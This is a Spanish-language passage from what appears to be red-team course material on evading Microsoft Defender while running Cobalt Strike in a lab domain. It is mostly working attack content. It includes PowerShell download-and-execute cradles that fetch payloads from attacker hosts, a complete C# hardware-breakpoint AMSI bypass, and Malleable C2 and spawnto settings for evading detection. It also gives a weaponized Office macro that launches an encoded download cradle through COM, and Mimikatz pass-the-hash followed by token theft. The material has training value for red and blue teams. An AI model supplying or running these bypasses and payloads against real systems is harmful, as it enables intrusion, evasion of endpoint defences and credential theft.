Como antes, utiliza el script de compilación incluido y especifica un directorio de salida, luego carga resources.cna en Cobalt Strike.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/resource> ./build.sh /mnt/c/Tools/cobaltstrike/resources
[Resource Kit] [+] Copy the resource files
[Resource Kit] [+] Generate the resources.cna from the template file.
[Resource Kit] [+] The resource kit files are saved in '/mnt/c/Tools/cobaltstrike/resources'
Una fuente común de confusión ocurre al alojar cargas útiles de PowerShell utilizando el método Scripted Web Delivery, ya que generalmente serán detectadas cuando las cargas útiles de PowerShell sin etapas no lo sean.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a")
IEX : At line:1 char:1
+ Set-StrictMode -Version 2
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:304409
+ ... WTtJBgA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
La razón de esto es que utiliza la plantilla compress.ps1, que descomprime la carga útil desde un flujo Gzip. En mi experiencia (limitada), AMSI marcará casi cualquier cosa como maliciosa si detecta un archivo binario saliendo de un flujo Gzip. A menos que tengas un requisito específico para usar una versión comprimida, en cuyo caso también puedes reconfigurar esta plantilla, la solución más sencilla es simplemente alojar tu carga útil de PowerShell sin etapas directamente a través de Site Management > Host File.
PS C:\Users\Attacker> iex (new-object net.webclient).downloadstring("http://10.10.5.50/a2")
AMSI vs Post-Exploitation
The Beacon payload no es el único lugar donde AMSI te atrapará, sino también en varios comandos de post-explotación que AMSI puede instrumentar. Algunos ejemplos son powershell, powerpick y execute-assembly. Esto ocurre porque Beacon generará nuevos procesos para ejecutar estos comandos, y cada proceso obtiene su propia copia de AMSI.
beacon> run hostname
fs
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powershell Get-Domain
[-] lost link to parent beacon: 10.10.123.102
beacon> remote-exec winrm fs Get-MpThreatDetection
PSComputerName : fs
ProcessName : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RemediationTime : 9/14/2022 5:01:18 PM
Resources : {amsi:_\Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe}
En este caso, el payload de Beacon generó powershell.exe e intentó cargar PowerView.ps1 en él. Esto fue detectado por AMSI y eliminado. Defender también da un paso más y mata el proceso que lo generó (nuestro Beacon), razón por la cual perdemos inmediatamente el enlace con él.
Lo mismo ocurrirá si intentamos ejecutar un ensamblado .NET que sea conocido por Defender.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
[-] Failed to load the assembly w/hr 0x8007000b
[-] lost link to parent beacon: 10.10.123.102
PSComputerName : fs
ProcessName : C:\Windows\System32\rundll32.exe
RemediationTime : 9/14/2022 5:18:35 PM
Resources : {amsi:_\Device\HarddiskVolume1\Windows\System32\rundll32.exe}
Sería un poco molesto modificar y ofuscar cada herramienta de post-explotación, por lo que Cobalt Strike introdujo una configuración que podemos aplicar en Malleable C2 llamada amsi_disable. Esto utiliza una técnica de parcheo de memoria sobre la cual ya he escrito antes para deshabilitar AMSI en el proceso generado antes de inyectar la capacidad de post-explotación.
SSH en el servidor de equipo y abre el perfil que estás usando en un editor de texto (para mí, es webbug.profile).
attacker@ubuntu ~/cobaltstrike> vim c2-profiles/normal/webbug.profile
Justo arriba del bloque http-get, añade lo siguiente:
post-ex {
set amsi_disable "true";
}
Después de modificar un perfil, siempre es una buena idea verificarlo con c2lint para asegurarte de no haber roto nada.
attacker@ubuntu ~/cobaltstrike> ./c2lint c2-profiles/normal/webbug.profile
Info
Las advertencias están bien, pero los errores suelen ser fatales.
Tendrás que reiniciar tu servidor de equipo y volver a adquirir un Beacon en el servidor de archivos. Esta vez, Rubeus se ejecutará.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.2
Info
amsi_disable solo se aplica a powerpick, execute-assembly y psinject. No se aplica al comando powershell.
Sin embargo, notarás que tu Beacon probablemente aún muere poco después. Esto nos lleva a las detecciones de comportamiento.
Manual AMSI Bypasses
Puedes encontrarte en situaciones donde ThreatCheck dé el "todo claro" en un payload, pero aún así sea detectado por AMSI. Esto es particularmente problemático para los payloads de acceso inicial o movimiento lateral, porque la directiva amsi_disable de Beacon no se aplica a ellos.
Hay dos razones comunes para esto. La primera es que las versiones del motor/firmas de Defender difieren entre nuestra estación de trabajo atacante y el objetivo. La segunda es que la parte maliciosa del payload puede estar enterrada bajo una o más capas de ejecución. ThreatCheck solo puede escanear el "nivel superior" de una muestra proporcionada, no puede emular las capas de ejecución que ocurrirán dentro del motor de PowerShell. Aquí hay un ejemplo simple para ilustrarlo.
La información que ThreatCheck envía a AMSI es la cadena literal '[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA")) | iex'. Esto regresa como limpio porque el contenido no coincide con ninguna firma conocida. Sin embargo, cuando se ejecuta, AMSI lo bloquea porque la cadena "Invoke-Mimikatz" tiene firma. La diferencia es que el motor de PowerShell volverá a escanear el contenido que se pasa a Invoke-Expression, que ya no está en su forma codificada en base64. Este es un comportamiento que ThreatCheck no puede replicar.
Para ayudar a evitar esto, podemos integrar un bypass de AMSI externo en nuestros payloads. Por ejemplo, este método de @EthicalChaos (modificado por @ShitSecure) que utiliza puntos de interrupción de hardware.
$HWBP = @"
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace HWBP
{
public class Amsi
{
static string a = "msi";
static string b = "anB";
static string c = "ff";
static IntPtr BaseAddress = WinAPI.LoadLibrary("a" + a + ".dll");
static IntPtr pABuF = WinAPI.GetProcAddress(BaseAddress, "A" + a + "Sc" + b + "u" + c + "er");
static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
public static void Bypass()
{
WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
MethodInfo method = typeof(Amsi).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
Marshal.StructureToPtr(ctx, pCtx, true);
bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));
EnableBreakpoint(ctx, pABuF, 0);
WinAPI.SetThreadContext((IntPtr)(-2), pCtx);
}
public static long Handler(IntPtr exceptions)
{
WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));
if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
{
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); // 5th arg, swap it to clean
Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);
ContextRecord.Rip = ReturnAddress;
ContextRecord.Rsp += 8;
ContextRecord.Rax = 0; // S_OK
Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return WinAPI.EXCEPTION_CONTINUE_SEARCH;
}
}
public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
{
switch (index)
{
case 0:
ctx.Dr0 = (ulong)address.ToInt64();
break;
case 1:
ctx.Dr1 = (ulong)address.ToInt64();
break;
case 2:
ctx.Dr2 = (ulong)address.ToInt64();
break;
case 3:
ctx.Dr3 = (ulong)address.ToInt64();
break;
}
ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
ctx.Dr6 = 0;
Marshal.StructureToPtr(ctx, pCtx, true);
}
public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
{
ulong mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
}
public class WinAPI
{
public const UInt32 DBG_CONTINUE = 0x00010002;
public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
public const Int32 EXCEPTION_DEBUG_EVENT = 1;
public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
public const Int32 RIP_EVENT = 9;
public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
public const UInt32 DBG_CONTROL_C = 0x40010006;
public const UInt32 DEBUG_PROCESS = 0x00000001;
public const UInt32 CREATE_SUSPENDED = 0x00000004;
public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
public const Int32 AMSI_RESULT_CLEAN = 0;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("Kernel32.dll")]
public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
[Flags]
public enum CONTEXT64_FLAGS : uint
{
CONTEXT64_AMD64 = 0x100000,
CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
public override string ToString()
{
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
}
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public CONTEXT64_FLAGS ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 DUMMYUNIONNAME;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
[StructLayout(LayoutKind.Sequential)]
public struct EXCEPTION_RECORD
{
public uint ExceptionCode;
public uint ExceptionFlags;
public IntPtr ExceptionRecord;
public IntPtr ExceptionAddress;
public uint NumberParameters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
}
[StructLayout(LayoutKind.Sequential)]
public struct EXCEPTION_POINTERS
{
public IntPtr pExceptionRecord;
public IntPtr pContextRecord;
}
}
}
"@
Add-Type -TypeDefinition $HWBP
[HWBP.Amsi]::Bypass()
Podríamos guardar esto en un nuevo archivo y alojarlo en un URI diferente en el servidor de equipo. Luego simplemente llama e invoca este script de bypass antes del payload.
PS C:\Users\bfarmer> iex (new-object net.webclient).downloadstring("http://nickelviper.com/bypass"); iex (new-object net.webclient).downloadstring("http://nickelviper.com/a")
Behavioural Detections
Cuando se trata de detecciones de comportamiento, las alertas de Defender se ven algo así:
PSComputerName : fs
ProcessName : C:\Windows\System32\rundll32.exe
RemediationTime : 9/14/2022 5:40:03 PM
Resources : {behavior:_pid:4964:111820579542652,
process:_pid:4040,ProcessStart:133076508002529669,
process:_pid:4964,ProcessStart:133076507626927382}
El Beacon que se ejecuta en el servidor de archivos está viviendo dentro del proceso rundll32 (PID 4404). Cuando Cobalt Strike ejecuta un comando post-ex que utiliza el patrón fork & run, generará un proceso sacrificial, inyectará la capacidad post-ex en él, recuperará la salida a través de un named pipe y luego matará el proceso. La razón principal para hacer esto es garantizar que las herramientas post-ex inestables no hagan que el Beacon se bloquee.
rundll32 siendo el "spawnto" predeterminado para Cobalt Strike ha sido a thing durante mucho tiempo y ahora es un punto común de detección. El payload binario de servicio utilizado por psexec también utiliza esto por defecto, razón por la cual se ven esos Beacons ejecutándose como rundll32.exe.
El proceso utilizado para los comandos post-ex y psexec puede cambiarse sobre la marcha en la GUI de CS. Para cambiar el proceso post-ex, utiliza el comando spawnto. Deben especificarse x86 y x64 individualmente y también se pueden usar variables de entorno.
beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> spawnto x86 %windir%\syswow64\dllhost.exe
Info
Las rutas sysnative y syswow64 deben usarse en lugar de system32.
Si luego usamos powerpick para obtener su propio nombre de proceso, devolverá dllhost.
beacon> powerpick Get-Process -Id $pid | select ProcessName
ProcessName
-----------
dllhost
powerpick + PowerView ahora se ejecutarán en el servidor de archivos sin ser detectados por AMSI o esta detección de comportamiento.
beacon> run hostname
fs
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain
Forest : cyberbotic.io
DomainControllers : {dc-2.dev.cyberbotic.io}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent : cyberbotic.io
PdcRoleOwner : dc-2.dev.cyberbotic.io
RidRoleOwner : dc-2.dev.cyberbotic.io
InfrastructureRoleOwner : dc-2.dev.cyberbotic.io
Name : dev.cyberbotic.io
Usa el comando spawnto sin ningún argumento para restablecer al valor predeterminado.
beacon> spawnto
[*] Tasked beacon to spawn features to default process
También puedes configurar el spawnto dentro de malleable C2 incluyendo las directivas spawnto_x64 y spawnto_x86 dentro del bloque post-ex. Cada nuevo Beacon usará esto como su nuevo valor predeterminado.
post-ex {
set amsi_disable "true";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}
Al moverse lateralmente con psexec, Beacon intentará usar la configuración spawnto de tu perfil malleable C2. Sin embargo, no puede usar variables de entorno (como %windir%), por lo que recurrirá a rundll32 en esos casos. Puedes anular esto en tiempo de ejecución con el comando ak-settings para especificar una ruta absoluta en su lugar.
beacon> ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
[*] Updating the spawnto_x64 process to 'C:\Windows\System32\dllhost.exe'
[*] artifact kit settings:
[*] service = ''
[*] spawnto_x86 = 'C:\Windows\SysWOW64\rundll32.exe'
[*] spawnto_x64 = 'C:\Windows\System32\dllhost.exe'
beacon> ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exe
[*] Updating the spawnto_x86 process to 'C:\Windows\SysWOW64\dllhost.exe'
[*] artifact kit settings:
[*] service = ''
[*] spawnto_x86 = 'C:\Windows\SysWOW64\dllhost.exe'
[*] spawnto_x64 = 'C:\Windows\System32\dllhost.exe'
Info
También puedes cambiar el nombre del servicio (en lugar de 7 caracteres aleatorios) con ak-settings service [name].
El movimiento lateral con psexec luego nos ubicará en dllhost.exe.
Parent/Child Relationships
Un subconjunto de las detecciones de comportamiento provienen de las relaciones padre/hijo de los procesos en ejecución. Como regla general, el padre de un proceso es el proceso que lo inició. Por lo tanto, un proceso solo tiene un padre pero puede tener muchos hijos. Aplicaciones como Process Hacker visualizan estas relaciones por su indentación.
La ventana "details" también muestra el padre de un proceso.
La mayoría de las aplicaciones de usuario se ejecutarán como hijos de explorer, ya que es desde donde se inician.
Hay muchas relaciones padre/hijo que se consideran altamente sospechosas o directamente maliciosas. Un ejemplo es con nuestro payload de acceso inicial. Dado que ejecutamos un comando de PowerShell de una línea a través de un macro de Office, la instancia de powershell.exe se convierte en un hijo de winword.exe.
Defender hace un buen trabajo bloqueando estos casos porque que Word genere PowerShell no es un comportamiento común y es una táctica de phishing bien conocida.
Una forma de evitar esto es encontrar una manera de ejecutar PowerShell sin que se convierta en hijo de Word. Una manera de bajo esfuerzo para hacer esto es con COM. ¿Recuerdas los objetos COM del módulo DCOM lateral movement? Bueno, se pueden usar para ejecución local también. Los más adecuados en este escenario son ShellWindows y ShellBrowserWindow, porque ambos generarán procesos bajo explorer. Este es un ejemplo simple de generación de un proceso PowerShell oculto usando ShellWindows.
Set shellWindows = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
Set obj = shellWindows.Item()
obj.Document.Application.ShellExecute "powershell.exe", Null, Null, Null, 0
Los argumentos para el método ShellExecute están documentados here.
Aquí tienes un ejemplo weaponizado:
Set shellWindows = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
Set obj = shellWindows.Item()
obj.Document.Application.ShellExecute "powershell.exe", "-nop -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBpAGMAawBlAGwAdgBpAHAAZQByAC4AYwBvAG0ALwBhACIAKQA=", Null, Null, 0
Command Line Detections
Defender también tiene la capacidad de inspeccionar los argumentos de línea de comandos de un proceso y puede evitar que se inicie si contiene contenido malicioso. Un lugar común donde puedes encontrar esto es con el comando incorporado pth.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c
Podemos ver en el registro de la consola que esto se expande a:
sekurlsa::pth /user:"jking" /domain:"DEV" /ntlm:59fc0f884922b4ce376051134c71e22c /run:"%COMSPEC% /c echo 9c91bb58485 > \\.\pipe\34a65a"
Sin embargo, recibirás un error de acceso denegado cuando Mimikatz intente llamar a CreateProcessWithLogonW.
user : jking
domain : DEV
program : C:\Windows\system32\cmd.exe /c echo 9c91bb58485 > \\.\pipe\34a65a
impers. : no
NTLM : 59fc0f884922b4ce376051134c71e22c
ERROR kuhl_m_sekurlsa_pth ; CreateProcessWithLogonW (0x00000005)
No es completamente obvio a simple vista que esto sea causado por Defender, pero puedes ver la alerta tanto en la interfaz gráfica (GUI) como a través de Get-MpThreatDetection. El prefijo "CmdLine" revela el origen de la detección. En este caso, es el patrón echo x > \\.\pipe\ ya que esto es sinónimo de suplantación de named pipe (también evidente por el título de la alerta).
ActionSuccess : True
AdditionalActionsBitMask : 0
AMProductVersion : 4.18.2205.7
CleaningActionID : 3
CurrentThreatExecutionStatusID : 0
DetectionID : {2773A98F-C5FE-4BA2-B6F1-96C2F4D296D4}
DetectionSourceTypeID : 2
DomainUser : NT AUTHORITY\SYSTEM
InitialDetectionTime : 10/30/2023 2:25:56 PM
LastThreatStatusChangeTime : 10/30/2023 2:26:42 PM
ProcessName : Unknown
RemediationTime : 10/30/2023 2:26:42 PM
Resources : {CmdLine:_C:\Windows\System32\cmd.exe /c echo 9c91bb58485 > \\.\pipe\34a65a}
ThreatID : 2147735445
ThreatStatusErrorCode : 0
ThreatStatusID : 4
PSComputerName :
La razón por la cual esto devuelve un acceso denegado (es decir, código de error 5) es porque la aplicación de la política proviene del controlador de Windows Defender en el kernel. Este controlador recibe notificaciones cuando se están creando nuevos procesos, que contienen una estructura PS_CREATE_NOTIFY_INFO. Los más observadores notarán el miembro CreationStatus, que es el valor NTSTATUS para devolver. El controlador simplemente puede establecer esto en STATUS_ACCESS_DENIED para evitar que el proceso se inicie, y ese código de error se propaga al llamante.
Bypassing o deshabilitar callbacks a nivel de kernel está fuera del alcance para RTO. La solución más sencilla es encontrar una manera de lograr el mismo objetivo pero de una manera que no involucre los mismos argumentos de línea de comandos. Para pass-the-hash, simplemente podemos iniciar un proceso arbitrario y robar su token manualmente.
beacon> mimikatz sekurlsa::pth /user:"jking" /domain:"DEV" /ntlm:59fc0f884922b4ce376051134c71e22c /run:notepad.exe
user : jking
domain : DEV
program : notepad.exe
impers. : no
NTLM : 59fc0f884922b4ce376051134c71e22c
| PID 17896
| TID 11384
| LSA Process is now R/W
| LUID 0 ; 8586493 (00000000:008304fd)
\_ msv1_0 - data copy @ 00000129694D4070 : OK !
\_ kerberos - data copy @ 00000129694CCD28
beacon> steal_token 17896
[+] Impersonated DEV\bfarmer
beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 18:50:13 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 18:58:09 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 09/26/2023 08:38:47 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 10/30/2023 13:58:46 ProgramData
dir 08/15/2022 18:31:08 Recovery
dir 11/02/2022 09:32:00 System Volume Information
dir 08/30/2022 17:51:08 Users
dir 09/26/2023 08:51:14 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 10/30/2023 13:27:39 DumpStack.log.tmp
384mb fil 10/30/2023 13:27:39 pagefile.sys





























